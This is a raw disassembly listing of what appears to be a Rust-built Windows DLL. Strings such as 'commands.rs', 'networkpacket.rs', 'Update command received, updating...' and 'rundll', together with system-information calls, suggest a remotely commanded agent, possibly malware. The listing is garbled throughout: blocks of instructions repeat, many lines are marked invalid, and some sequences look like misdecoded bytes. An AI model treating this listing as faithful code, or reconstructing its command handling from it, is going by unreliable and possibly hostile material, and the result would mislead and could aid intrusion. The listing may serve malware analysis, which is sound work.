mov qword [rbx + 0xc70], rax
mov r15d, dword [rbx + 0x2e0]
mov dword [rbx + 0xc78], r15d
mov r14b, byte [rbx + 0x2e4]
mov byte [rbx + 0xc7c], r14b
mov eax, dword [rbx + 0x1f0]
mov ecx, dword [rbx + 0x1f3]
mov dword [rbx + 0x910], eax
mov dword [rbx + 0x913], ecx
mov eax, dword [rbx + 0x910]
mov ecx, dword [rbx + 0x913]
mov dword [rbx + 0x478], eax
mov dword [rbx + 0x47b], ecx
mov rcx, qword [rbx + 0xa0]
mov rdx, qword [rbx + 0x90]
call case.0x180046113.1274
xor eax, eax
mov qword [rbx + 0xc8], rax
mov qword [rbx + 0x90], r13
lea r8, [rbx + 0x480]
mov rax, qword [rbx + 0xc8]
mov dword [r8], eax
mov rax, qword [rbx + 0x80]
mov dword [r8 + 4], eax
mov rax, qword [rbx + 0x3b8]
mov qword [r8 + 8], rax
mov rax, qword [rbx + 0x90]
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rsi
mov rax, qword [rbx + 0x88]
mov qword [r8 + 0x20], rax
mov dword [r8 + 0x28], r15d
mov byte [r8 + 0x2c], r14b
mov eax, dword [rbx + 0x98]
mov dword [r8 + 0x2d], eax
mov eax, dword [rbx + 0x478]
mov ecx, dword [rbx + 0x47b]
mov dword [r8 + 0x31], eax
mov dword [r8 + 0x34], ecx
lea rax, [0x18006dc98]
jmp 0x180017c91
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x18006cfc0]
jmp 0x18000e16f
cmp qword [rbx + 0xbc8], 0xc8
je 0x1800180eb
mov r15, qword [rbx + 0xbc8]
mov rcx, qword [rbx + r15 + 0x6a8]
mov rdx, qword [rbx + r15 + 0x6b0]
xchg esp, eax
cmp esi, dword [rax - 0x17fffffa]
add eax, 0x490004c2
add edi, 0x18
xchg esp, eax
cmp esi, dword [rax - 0x17fffffa]
add eax, 0x490004c2
add edi, 0x18
mov qword [rbx + 0xbc8], r15
jmp 0x1800180b5
mov rcx, qword [rbx + 0x938]
mov rax, qword [rbx + 0x940]
mov qword [rbx + 0x80], rcx
mov eax, dword [rax + 0x48000000]
mov dword [rbx + 0x340], ecx
mov eax, dword [rax + 0x48000000]
mov dword [rbx + 0x340], ecx
mov qword [rbx + 0x348], rax
mov qword [rbx + 0x1f0], 0xa
mov dword [rbx + 0x1f0], 0xa
mov dword [rbx + 0x1f0], 0xa
lea r15, [rbx + 0x180]
mov rcx, r15
call fcn.18000ad3f
mov rcx, r14
call fcn.18000acf6
lea r13, [rbx + 0x6b0]
mov qword [r13], rsi
lea rax, [0x180020440]
mov qword [r13 + 8], rax
mov qword [r13 + 0x10], r15
lea rcx, [0x180009509]
mov qword [r13 + 0x18], rcx
sbb byte [r9 - 0x77], r9b
jge 0x180018179
lea rax, [fcn.18005f53d]
mov qword [r13 + 0x28], rax
sub byte [rax - 0x73], cl
add eax, 0x55a15
invalid
pop rdx
invalid
invalid
sub byte [rax - 0x73], cl
add eax, 0x55a15
invalid
pop rdx
invalid
invalid
lea rdx, [rbx + 0x480]
mov qword [rdx], rax
mov dword [rdx], eax
push 4
pop rax
mov qword [rdx + 8], rax
invalid
and qword [rdx + 0x20], 0
mov qword [r13 + 0x30], r14
mov qword [r13 + 0x38], rcx
mov qword [rdx + 0x10], r12
invalid
adc byte [rax - 0x77], cl
sbb byte [rax - 0x73], cl
mov bl, 0x30
add al, byte [rax]
add byte [rax - 0x77], cl
int1
cmp byte [r9 + rcx*4 + 0x62], r9b
adc byte [rax - 0x77], cl
sbb byte [rax - 0x73], cl
mov bl, 0x30
add al, byte [rax]
add byte [rax - 0x77], cl
int1
invalid
call fcn.180008c30
mov rcx, qword [rbx + 0xe0]
mov rdx, qword [rbx + 0xe8]
call case.0x180046113.1274
mov rcx, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x188]
call case.0x180046113.1274
mov rdi, qword [rsi]
mov r14, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
mov rcx, r13
mov rdx, r14
call fcn.180007d70
lea rsi, [rbx + 0x480]
lea r15, [rbx + 0x9a0]
mov rcx, rsi
mov rdx, r15
mov r8, r13
call fcn.18000ad88
mov r12, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
mov rcx, qword [r15 + 0x218]
mov rdx, r12
call fcn.18000494d
test rax, rax
jne 0x18001833e
lea rsi, [rbx + 0x480]
mov rcx, qword [rsi]
mov rdx, r12
mov edx, esp
call case.0x180046113.1274
mov rcx, rdi
mov rdx, r14
call case.0x180046113.1274
mov rcx, qword [rbx + 0x930]
mov rdx, qword [rbx + 0x80]
call case.0x180046113.1274
add byte [rax - 0x73], cl
mov esi, dword [rax + 0x48000006]
lea edx, [rbx + 0x9a0]
add byte [rax - 0x73], cl
mov esi, dword [rax + 0x48000006]
lea edx, [rbx + 0x9a0]
mov r8d, 0x228
mov eax, 0x228
add al, ch
add eax, 0x6600050b
pxor mm6, mm6
call fcn.180068d66
pxor xmm6, xmm6
movdqa xmmword [rsi], xmm6
movdqa xmmword [rsi + 0x80], xmm6
jg 0x180018223
add byte [rax], 0
invalid
jg 0x180018223
add byte [rax], 0
add byte [rcx + 0x200], bh
add byte [rax], al
mov ecx, 0x200
mov edx, 0x80
call fcn.180008ee3
dec dword [rax - 0x77]
mov dword [rcx - 0x48], 0x100
dec dword [rax - 0x77]
mov dword [rcx - 0x48], 0x100
mov rcx, rax
mov rdx, rsi
call fcn.180068d66
and word [rdi + 0x100], 0
and qword [rdi + 0x108], 0
or byte [rcx], al
add byte [rax], al
add byte [rdx + 8], ch
or byte [rcx], al
add byte [rax], al
add byte [rdx + 8], ch
pop rax
mov qword [rdi + 0x110], rax
movdqu xmmword [rdi + 0x118], xmm6
add dword [rax], eax
add byte [rax - 0x77], cl
xchg dword [rax], ebp
add dword [rax], eax
add byte [rax - 0x7d], cl
cmpsd dword [rsi], dword [rdi]
xor byte [rcx], al
add byte [rax], al
add dh, al
xchg dword [rax], edi
cmp byte [rcx], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
xchg dword [rax], ebp
add dword [rax], eax
add byte [rax - 0x7d], cl
cmpsd dword [rsi], dword [rdi]
xor byte [rcx], al
add byte [rax], al
add dh, al
xchg dword [rax], edi
cmp byte [rcx], al
add byte [rax], al
invalid
cmp byte [rcx], al
add byte [rax], al
add dword [rdx + 1], ebp
push 1
pop r12
mov qword [rdi + 0x180], r12
mov qword [rdi + 0x188], r12
mov byte [rdi + 0x190], 0
call fcn.180056d20
mov rsi, rax
xor ecx, ecx
call fcn.180046a70
mov qword [rbx + 0x180], rax
lock inc qword [rax]
jle case.0x18000b84e.2
mov r14, rax
push 0x30
pop rcx
push 8
pop rdx
call fcn.180008ee3
mov qword [rax], r12
mov qword [rax + 8], r12
movdqu xmmword [rax + 0x10], xmm6
mov qword [rbx + 0xe0], rax
lock inc qword [rax]
jle case.0x18000b84e.2
mov r15, rax
xor ecx, ecx
call fcn.18004cb20
mov r12, rax
mov esp, eax
mov esp, eax
test rax, rax
jne 0x180018354
xor ecx, ecx
jmp 0x180018360
lea r8, [rbx + 0x6b0]
mov qword [r8], rax
add byte [rax - 0x73], cl
add eax, 0x55871
add byte [rax - 0x73], cl
add eax, 0x55871
jmp 0x18000e15c
lock inc qword [r12]
jg 0x18001835d
ud2
mov rcx, r12
call fcn.18004cb20
mov r13, r15
add r13, 0x10
lea rcx, [rbx + 0x480]
mov qword [rcx], rax
call fcn.180006563
mov rcx, qword [r13]
test rcx, rcx
je 0x18001838d
add rcx, 0x10
call fcn.180045940
push 8
pop rdx
mov ecx, 0x250
call fcn.180008ee3
mov r13, rax
mov qword [rax], r14
mov qword [rax + 8], r15
mov qword [rax + 0x10], r12
lea rcx, [rax + 0x18]
lea rdx, [rbx + 0x6b0]
mov r8d, 0x228
call fcn.180068d66
mov qword [r13 + 0x240], 1
mov qword [r13 + 0x248], rdi
lea r8, [0x18006cda0]
mov rcx, rsi
mov rdx, r13
call fcn.1800570c0
test rax, rax
jne 0x18001884e
mov dword [rbx + 0x188], 0x3b9aca00
movdqa xmmword [rbx + 0x490], xmm6
movdqa xmmword [rbx + 0x480], xmm6
and qword [rbx + 0x4a0], 0
and dword [rbx + 0x230], 0
mov rax, qword [rdi]
mov r14, qword [rdi + 8]
mov rcx, rax
shr rcx, 1
mov r15d, ecx
and r15d, 0x1f
cmp r15, 0x1f
je 0x180018478
lea rsi, [rax + 2]
test al, 1
jne 0x18001845a
mfence
mov rdx, qword [rdi + 0x80]
mov r8, rdx
shr r8, 1
cmp rcx, r8
je 0x180018486
xor rdx, rax
xor ecx, ecx
cmp rdx, 0x40
setae cl
or rsi, rcx
test r14, r14
je 0x180018478
lock cmpxchg qword [rdi], rsi
je 0x180018594
lea rcx, [rbx + 0x230]
call fcn.180004f22
jmp 0x180018414
lea rcx, [rbx + 0x230]
call fcn.180004eee
jmp 0x180018414
test dl, 1
jne 0x180018894
mov esi, dword [rbx + 0x188]
cmp esi, 0x3b9aca00
je 0x1800184bf
mov r14, qword [rbx + 0x180]
call fcn.180059c30
mov rcx, rax
mov r8, r14
mov r9d, esi
call fcn.180009a80
cmp al, 2
jb 0x180018894
call fcn.18001bff6
test rax, rax
je 0x180018542
mov rsi, rax
mov r14, qword [rax]
and qword [rax], 0
test r14, r14
je 0x180018542
mov qword [rbx + 0x230], r14
mov qword [r14 + 0x18], 0
mov qword [r14 + 0x20], 0
lea rax, [rbx + 0x480]
mov qword [rbx + 0xe0], rax
mov qword [rbx + 0xe8], rdi
lea rax, [rbx + 0x180]
mov qword [rbx + 0xf0], rax
lea r15, [rbx + 0xe0]
mov rcx, r15
lea rdx, [rbx + 0x230]
call fcn.180004a73
mov rax, qword [rsi]
mov qword [rbx + 0xe0], rax
mov qword [rsi], r14
mov rcx, r15
call fcn.1800072f8
jmp 0x18001840d
call fcn.18006ab00
mov qword [rbx + 0x230], rax
lea rax, [rbx + 0x480]
mov qword [rbx + 0xe0], rax
mov qword [rbx + 0xe8], rdi
lea rax, [rbx + 0x180]
mov qword [rbx + 0xf0], rax
lea rcx, [rbx + 0xe0]
lea rsi, [rbx + 0x230]
mov rdx, rsi
call fcn.180004a73
mov rcx, rsi
call fcn.180006f7c
jmp 0x18001840d
cmp r15d, 0x1e
jne 0x1800185dd
and dword [rbx + 0xe0], 0
mov rax, qword [r14 + 0x3e0]
test rax, rax
jne 0x1800185bb
lea rcx, [rbx + 0xe0]
call fcn.180004eee
jmp 0x1800185a1
and rsi, 0xfffffffffffffffe
mov rcx, qword [rax + 0x3e0]
xor edx, edx
test rcx, rcx
setne dl
lea rcx, [rsi + rdx]
add rcx, 2
mov qword [rdi + 8], rax
mov qword [rdi], rcx
mov qword [rbx + 0x490], r14
mov qword [rbx + 0x498], r15
mov esi, r15d
shl esi, 5
add rsi, r14
and dword [rbx + 0xe0], 0
mov rax, qword [rsi + 0x18]
test al, 1
jne 0x180018611
lea rcx, [rbx + 0xe0]
call fcn.180004eee
jmp 0x1800185fb
mov rax, qword [rsi]
mov qword [rbx + 0x80], rax
movzx eax, byte [rsi + 8]
mov qword [rbx + 0x88], rax
movzx r12d, word [rsi + 0xd]
movzx eax, byte [rsi + 0xf]
mov dword [rbx + 0x90], eax
mov r13d, dword [rsi + 9]
mov rax, qword [rsi + 0x10]
mov qword [rbx + 0x178], rax
inc r15
cmp r15, 0x1f
jne 0x180018652
xor r15d, r15d
jmp 0x180018669
mov rax, qword [rsi + 0x18]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x18], rcx
jne 0x180018656
test al, 4
je 0x1800186b1
cmp r15, 0x1e
jae 0x1800186a9
lea rcx, [r15 + 1]
mov rax, r15
shl rax, 5
mov rdx, qword [r14 + rax + 0x18]
mov r15, rcx
test dl, 2
jne 0x180018669
lea rdx, [r14 + rax]
add rdx, 0x18
mov rax, qword [rdx]
mov r8, rax
or r8, 4
lock cmpxchg qword [rdx], r8
jne 0x180018692
mov r15, rcx
test al, 2
jne 0x180018669
jmp 0x1800186b1
mov rcx, r14
call fcn.1800063ef
movabs rax, 0x8000000000000000
cmp qword [rbx + 0x80], rax
je 0x180018894
mov eax, dword [rbx + 0x90]
shl eax, 0x10
or r12d, eax
shl r12, 0x20
or r13, r12
shl r13, 8
add r13, qword [rbx + 0x88]
lea r12, [rbx + 0x480]
mov rcx, r12
mov rdx, r13
mov rsi, qword [rbx + 0x178]
mov r8, rsi
call fcn.18001f9e0
mov rcx, r12
call fcn.18000b174
lea rcx, [rbx + 0x230]
mov rdx, r13
mov r8, rsi
call fcn.18001f9e0
mov rsi, qword [rbx + 0x238]
mov r14, qword [rbx + 0x240]
lea rcx, [rbx + 0xe0]
call fcn.18000ad3f
mov r15, qword [rbx + 0xe8]
mov rax, qword [rbx + 0xf0]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, rsi
mov r8, r14
mov r9, r15
call fcn.1800076e0
lea rcx, [rbx + 0x180]
mov rdx, r12
call fcn.180007a26
mov rcx, qword [rbx + 0xe0]
mov rdx, r15
call case.0x180046113.1274
mov r14, qword [rbx + 0x188]
mov rdx, qword [rbx + 0x190]
mov rcx, r14
push 1
pop r8
lea r9, str.src_networkpacket.rs
call fcn.180009c6c
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov rcx, r12
mov rdx, r15
lea r8, str.1101150100
push 1
pop r9
call fcn.180035db3
test al, al
jne 0x1800188b5
mov rcx, r12
mov rdx, r15
lea r8, str.234srcwindows_sys_info.rs
push 1
pop r9
call fcn.180035db3
test al, al
jne 0x1800188d0
mov rcx, r12
mov rdx, r15
lea r8, [0x18006dd09]
push 1
pop r9
call fcn.180035db3
test al, al
jne 0x18001892d
mov rcx, r12
mov rdx, r15
lea r8, [0x18006dd0a]
push 1
pop r9
call fcn.180035db3
mov r15d, eax
mov rcx, qword [rbx + 0x180]
mov rdx, r14
call fcn.180006f5f
mov rcx, qword [rbx + 0x230]
mov rdx, rsi
call case.0x180046113.1274
test r15b, r15b
jne 0x18001897f
mov rcx, qword [rbx + 0x80]
mov rdx, r13
call case.0x180046113.1274
jmp 0x1800183eb
mov rsi, rdx
lea rcx, [rbx + 0xe0]
call fcn.18005e462
lea rcx, [rbx + 0x180]
call fcn.1800069fd
lea r8, [rbx + 0x480]
mov qword [r8], rsi
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_spawn_thread
lea r9, fcn.18001ba3c
push 0x16
jmp 0x18000e171
lea rax, str.srclauncher.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x18006d040]
push 0x2b
jmp 0x18000e1fe
mov rcx, qword [rbx + 0x180]
mov rdx, r14
call fcn.180006f5f
lea rcx, [rbx + 0x230]
jmp 0x18000e212
mov rcx, qword [rbx + 0x180]
mov rdx, r14
call fcn.180006f5f
mov rcx, qword [rbx + 0x230]
mov rdx, rsi
call case.0x180046113.1274
lea rsi, [rbx + 0x480]
mov rcx, rsi
call fcn.18004a340
movabs rax, 0x8000000000000000
cmp qword [rsi], rax
jne 0x1800189ba
mov rax, qword [rbx + 0x488]
lea r8, [rbx + 0xe0]
mov qword [r8], rax
lea rax, str.srccommands.rs
jmp 0x18000e15c
mov rcx, qword [rbx + 0x180]
mov rdx, r14
call fcn.180006f5f
lea rcx, [rbx + 0x230]
call fcn.180006f50
lea rax, str.Update_command_received__updating..._n
lea rcx, [rbx + 0x480]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
call fcn.18004cef0
call fcn.180059b50
lea rsi, [rbx + 0x480]
mov rcx, rsi
call fcn.18004a340
movabs rax, 0x8000000000000000
cmp qword [rsi], rax
jne 0x1800189de
mov rax, qword [rbx + 0x488]
lea r8, [rbx + 0xe0]
mov qword [r8], rax
lea rax, str.srccommands.rs
jmp 0x18000e15c
mov rcx, qword [rbx + 0x488]
mov rdx, qword [rbx + 0x490]
call fcn.180004a42
test rax, rax
jne 0x180018a0c
lea rcx, str.srccommands.rs
call fcn.180069bb0
mov rsi, qword [rbx + 0x488]
mov rdi, qword [rbx + 0x490]
mov rcx, rsi
mov rdx, rdi
call fcn.180004a42
test rax, rax
jne 0x180018ab3
lea rcx, str.srccommands.rs
call fcn.180069bb0
mov rsi, rax
mov rdi, rdx
lea rdx, str.T.0P__
lea r14, [rbx + 0x480]
push 6
pop r8
mov rcx, r14
call fcn.180019144
mov r15, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
mov rcx, r15
mov r8, rsi
mov r9, rdi
call fcn.180007ee4
mov r12d, eax
mov rcx, qword [r14]
mov rdx, r15
call case.0x180046113.1274
test r12b, r12b
je 0x180018afe
lea rsi, [rbx + 0x230]
mov rcx, rsi
call fcn.18000b32c
lea rdx, [0x18006e400]
lea rdi, [rbx + 0xe0]
push 0xc
pop r8
mov rcx, rdi
call fcn.180019144
lea rcx, [rbx + 0x480]
mov rdx, rdi
call fcn.180005562
mov rsi, qword [rsi]
movabs rax, 0x8000000000000000
cmp rsi, rax
jne 0x180018b47
lea rcx, str.srccommands.rs
call fcn.180069bb0
mov r9, rdx
lea rcx, str.rundll
push 6
pop rdx
mov r8, rax
call fcn.180007ee4
test al, al
je 0x180018b6e
lea rsi, [rbx + 0x480]
mov rcx, rsi
call fcn.18000b32c
movabs rax, 0x8000000000000000
cmp qword [rsi], rax
jne 0x180018b79
lea rcx, str.srccommands.rs
call fcn.180069bb0
lea r14, [rbx + 0x480]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.18005dab0
lea rsi, [rbx + 0xe0]
mov rcx, rsi
mov rdx, r14
call fcn.18004dda0
cmp dword [rsi], 2
jne 0x180018b8c
mov rax, qword [rbx + 0xe8]
lea r8, [rbx + 0x180]
mov qword [r8], rax
lea rax, str.srccommands.rs
jmp 0x18000e15c
mov rdi, qword [rbx + 0x238]
mov rdx, qword [rbx + 0x240]
mov rcx, rdi
call fcn.180004a42
test rax, rax
jne 0x180018bc8
lea rcx, str.srccommands.rs
call fcn.180069bb0
mov rcx, rsi
mov rdx, rdi
call fcn.18000b3f6
mov rcx, qword [rbx + 0x488]
mov rdx, qword [rbx + 0x490]
call fcn.18000b3f6
movups xmm0, xmmword [rbx + 0xe0]
movups xmm1, xmmword [rbx + 0xf0]
movups xmm2, xmmword [rbx + 0x100]
movups xmm3, xmmword [rbx + 0x110]
lea rcx, [rbx + 0x180]
movaps xmmword [rcx + 0x30], xmm3
movaps xmmword [rcx + 0x20], xmm2
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call fcn.1800069a8
jmp 0x180018c79
mov r8, rdx
lea r14, [rbx + 0x480]
mov rcx, r14
mov rdx, rax
call fcn.18005dbc0
lea rdx, str.B72YM9d
lea r15, [rbx + 0xe0]
push 7
pop r8
mov rcx, r15
call fcn.180019144
mov rcx, r14
mov rdx, r15
call fcn.18000552f
lea r15, [rbx + 0xe0]
mov rcx, r15
mov rdx, r14
call fcn.18004dda0
cmp dword [r15], 2
jne 0x180018c37
mov rax, qword [rbx + 0xe8]
lea r8, [rbx + 0x180]
mov qword [r8], rax
lea rax, str.srccommands.rs
jmp 0x18000e15c
movups xmm0, xmmword [rbx + 0xe0]
movups xmm1, xmmword [rbx + 0xf0]
movups xmm2, xmmword [rbx + 0x100]
movups xmm3, xmmword [rbx + 0x110]
lea rcx, [rbx + 0x180]
movaps xmmword [rcx + 0x30], xmm3
movaps xmmword [rcx + 0x20], xmm2
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call fcn.1800069a8
mov rcx, rsi
mov rdx, rdi
call case.0x180046113.1274
lea rcx, [rbx + 0x480]
call fcn.180006b70
call fcn.180059b50
int3
pxor xmm0, xmm0
lea rsi, [rsp + 0x7e0]
movdqa xmmword [rsi + 0x20], xmm0
movdqa xmmword [rsi + 0x10], xmm0
movdqa xmmword [rsi], xmm0
mov rcx, rsi
call sub.KERNEL32.dll_GetSystemInfo
mov ebp, dword [rsi + 0x20]
cmp ebp, 1
adc ebp, 0
jmp 0x180019581
lea rsi, [rsp + 0x7e0]
mov rcx, rsi
call fcn.180063043
mov rcx, qword [rsi]
mov rax, qword [rsi + 8]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x148], rcx
test rcx, rcx
je 0x18001b5df
lea rcx, [rsp + 0x1e8]
mov rdx, qword [rcx + 0x50]
add rdx, rbp
call fcn.180063065
mov qword [rsp + 0x1c8], rdx
mov qword [rsp + 0x140], rax
lock inc qword [rax]
jle 0x18001b4c8
lea rbx, [rsp + 0x28c]
mov rcx, rbx
call fcn.180060c7e
mov esi, eax
mov edi, edx
mov rcx, rbx
call fcn.180060c7e
mov dword [rsp + 0x60], eax
mov dword [rsp + 0xe0], edx
mov rcx, qword [rbx - 0x2c]
mov rdx, qword [rbx - 0x24]
call fcn.180063247
mov r14, rax
mov r15, rdx
mov rcx, qword [rbx - 0x1c]
mov rdx, qword [rbx - 0x14]
call fcn.180063247
mov ecx, dword [rbx - 4]
mov r8, qword [rbx - 0x84]
mov r9, qword [rbx - 0xc]
movzx r10d, word [rbx + 0x10]
mov qword [rsp + 0x2a0], r8
mov dword [rsp + 0x2d0], ecx
mov qword [rsp + 0x2a8], r9
mov qword [rsp + 0x2b0], r14
mov qword [rsp + 0x2b8], r15
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], rdx
mov word [rsp + 0x2e0], r10w
and word [rsp + 0x2d4], 0
mov dword [rsp + 0x2d8], esi
mov dword [rsp + 0x2dc], edi
mov esi, 8
mov ecx, 0x20
mov edx, 8
call fcn.18005f61f
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x148]
mov qword [rax + 0x10], rcx
mov byte [rax + 0x18], 0
lea rcx, [rsp + 0x7e0]
and qword [rcx + 8], 0
and word [rcx + 0x14], 0
and dword [rcx + 0x10], 0
mov qword [rcx], rax
call fcn.1800619cc
mov qword [rsp + 0x50], rax
mov rbx, rbp
shr rbx, 0x3c
lea rdi, [rbp*8]
test rbx, rbx
jne 0x18001b60e
mov ecx, 8
mov rdx, rdi
call fcn.18005ea3f
test rax, rax
je 0x18001b620
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x78], rax
and qword [rsp + 0x80], 0
mov rax, rbp
shr rax, 0x3b
mov rsi, rbp
shl rsi, 4
test rax, rax
jne 0x18001b612
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x40], rdi
mov ebx, 8
mov ecx, 8
mov rdx, rsi
call fcn.18005ea3f
test rax, rax
je 0x18001b614
mov rdi, rax
lea rax, [rsp + 0xf0]
mov qword [rax], rbp
mov qword [rax + 8], rdi
and qword [rax + 0x10], 0
xor r12d, r12d
lea rbx, [rsp + 0x90]
xor r14d, r14d
mov qword [rsp + 0x58], rbp
cmp r14, rbp
je 0x180019a04
mov ecx, 8
mov edx, 0x800
call fcn.18005ea3f
test rax, rax
je 0x18001b50b
mov qword [rsp + 0x90], 0x100
mov qword [rsp + 0x98], rax
mov esi, 0x100
xor r15d, r15d
mov qword [rsp + 0xa0], r15
sub rsi, 1
jb 0x1800197f4
cmp r15, qword [rsp + 0x90]
jne 0x1800197ef
mov rcx, rbx
call fcn.180061286
mov r15, qword [rsp + 0xa0]
inc r15
jmp 0x1800197c7
mov r8, qword [rsp + 0x90]
cmp r8, r15
jbe 0x180019849
shl r8, 3
mov rcx, qword [rsp + 0x98]
test r15, r15
je 0x180019832
lea rbx, [r15*8]
mov rdx, r8
mov r8, rbx
call fcn.18006124e
mov rsi, rax
test rax, rax
jne 0x180019841
jmp 0x18001b5ba
mov esi, 8
mov edx, 8
call fcn.1800097d8
mov qword [rsp + 0x98], rsi
mov rsi, qword [rsp + 0x98]
mov qword [rsp + 0x150], r15
cmp r15, 0x100
jne 0x18001b4e4
mov ecx, 0x28
mov edx, 8
call fcn.18005f61f
mov rbp, rax
mov eax, 1
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rsi
and qword [rbp + 0x18], 0
and dword [rbp + 0x20], 0
lock inc qword [rbp]
jle 0x18001b4c8
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x10]
lock inc qword [rax]
jle 0x18001b4c8
and qword [rsp + 0x7e8], 0
and word [rsp + 0x7f4], 0
and dword [rsp + 0x7f0], 0
mov qword [rsp + 0x7e0], rax
lea rcx, [rsp + 0x7e0]
call fcn.1800619cc
lock inc qword [rax]
jle 0x18001b4c8
mov rsi, rax
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r12
call fcn.180059c30
mov r12, rax
mov ebx, edx
cmp dword [rsp + 0x2a0], 0
mov edi, 0x3d
je 0x18001991b
mov edi, dword [rsp + 0x2a4]
mov r14b, byte [rsp + 0x2e0]
lea rcx, [rsp + 0x2d4]
call fcn.180060c7e
mov r15d, eax
mov r13d, edx
xor r14b, 1
mov ecx, 0x50
mov edx, 8
call fcn.18005f61f
and qword [rax], 0
mov qword [rax + 8], rsi
mov dword [rax + 0x10], r15d
mov dword [rax + 0x14], r13d
mov qword [rax + 0x18], rbp
and qword [rax + 0x20], 0
movabs rcx, 0x40a99d60864b8a7e
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], r12
mov dword [rax + 0x38], ebx
and dword [rax + 0x40], 0
mov dword [rax + 0x44], edi
mov byte [rax + 0x48], r14b
and word [rax + 0x49], 0
mov byte [rax + 0x4b], 0
lea rcx, [rsp + 0x70]
mov rdx, rax
call fcn.18005fc61
mov r12, qword [rsp + 0x30]
cmp r12, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0x38]
jne 0x1800199c9
lea rcx, [rsp + 0xf0]
call fcn.1800611a4
mov rdi, qword [rsp + 0xf8]
mov r12, qword [rsp + 0x100]
mov rax, r12
shl rax, 4
mov qword [rdi + rax], rbp
mov qword [rdi + rax + 8], rsi
inc r12
mov qword [rsp + 0x100], r12
mov r14, qword [rsp + 0x48]
inc r14
mov rbp, qword [rsp + 0x58]
lea rbx, [rsp + 0x90]
jne 0x18001978a
call fcn.180061331
cmp qword [rsp + 0x68], 0
jne 0x18001b619
mov esi, 8
mov ecx, 8
mov rdi, qword [rsp + 0x40]
mov rdx, rdi
call fcn.18005ea3f
test rax, rax
je 0x18001b620
mov rbx, rax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x150], xmm0
mov byte [rsp + 0x160], 0
mov r8, qword [rsp + 0xf0]
mov r14, qword [rsp + 0xf8]
cmp r8, r12
jbe 0x180019a9b
shl r8, 4
test r12, r12
je 0x180019a88
mov rsi, r12
shl rsi, 4
mov rcx, r14
mov rdx, r8
mov r8, rsi
call fcn.18006124e
mov r14, rax
test rax, rax
jne 0x180019a9b
jmp 0x18001b643
mov edx, 8
mov rcx, r14
call fcn.1800097d8
mov r14d, 8
lea rax, [rbp - 1]
bsr rcx, rax
not ecx
mov rax, 0xffffffffffffffff
shr rax, cl
lea rax, [rax*4 + 4]
mov ecx, 0x10000
cmp rax, rcx
cmovb rcx, rax
cmp rbp, 2
mov edi, 4
cmovae rdi, rcx
lea r15, [rdi - 1]
mov rax, rdi
xor rax, r15
cmp rax, r15
jbe 0x18001b62b
test rdi, rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r14
je 0x180019b11
imul rsi, rdi, 0x18
mov ecx, 8
mov rdx, rsi
call fcn.18005ea3f
test rax, rax
je 0x18001b643
mov rcx, rdi
jmp 0x180019b18
mov eax, 8
xor ecx, ecx
mov rdx, rbp
lea rsi, [rsp + 0x7e0]
mov qword [rsi], rcx
mov qword [rsi + 8], rax
and qword [rsi + 0x10], 0
shl rdx, 0x10
mov qword [rsp + 0x40], rdx
lea r14, [rsp + 0x96]
xor ebx, ebx
xorps xmm6, xmm6
sub rdi, 1
jb 0x180019bc3
movups xmmword [r14], xmm6
mov rcx, qword [rsp + 0x9e]
mov qword [rsp + 0x12e], rcx
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x120], xmm0
cmp rbx, qword [rsp + 0x7e0]
jne 0x180019b91
mov rcx, rsi
call fcn.18006133b
mov rax, qword [rsp + 0x7e8]
mov rbx, qword [rsp + 0x7f0]
imul rcx, rbx, 0x18
and word [rax + rcx], 0
movdqa xmm0, xmmword [rsp + 0x120]
movdqu xmmword [rax + rcx + 2], xmm0
mov rdx, qword [rsp + 0x12e]
mov qword [rax + rcx + 0x10], rdx
inc rbx
mov qword [rsp + 0x7f0], rbx
jmp 0x180019b45
mov qword [rsp + 0x48], r15
mov r14, r12
mov rax, qword [rsp + 0x7e0]
cmp rax, rbx
jbe 0x180019c21
imul r8, rax, 0x18
mov rcx, qword [rsp + 0x7e8]
test rbx, rbx
je 0x180019c0a
imul rdi, rbx, 0x18
mov rdx, r8
mov r8, rdi
call fcn.18006124e
mov rsi, rax
test rax, rax
jne 0x180019c19
mov ecx, 8
jmp 0x18001b623
mov esi, 8
mov edx, 8
call fcn.1800097d8
mov qword [rsp + 0x7e8], rsi
lea r13, [rsp + 0x7e0]
mov r15, qword [r13 + 8]
call 0x180063258
mov r12, rax
lea rsi, [rsp + 0x2a0]
mov ecx, 9
mov rdi, r13
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x138
mov edx, 8
call fcn.18005f61f
mov rdx, rax
mov r8d, 1
mov qword [rax], r8
mov qword [rax + 8], r8
mov ecx, 9
lea rdi, [rax + 0x10]
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
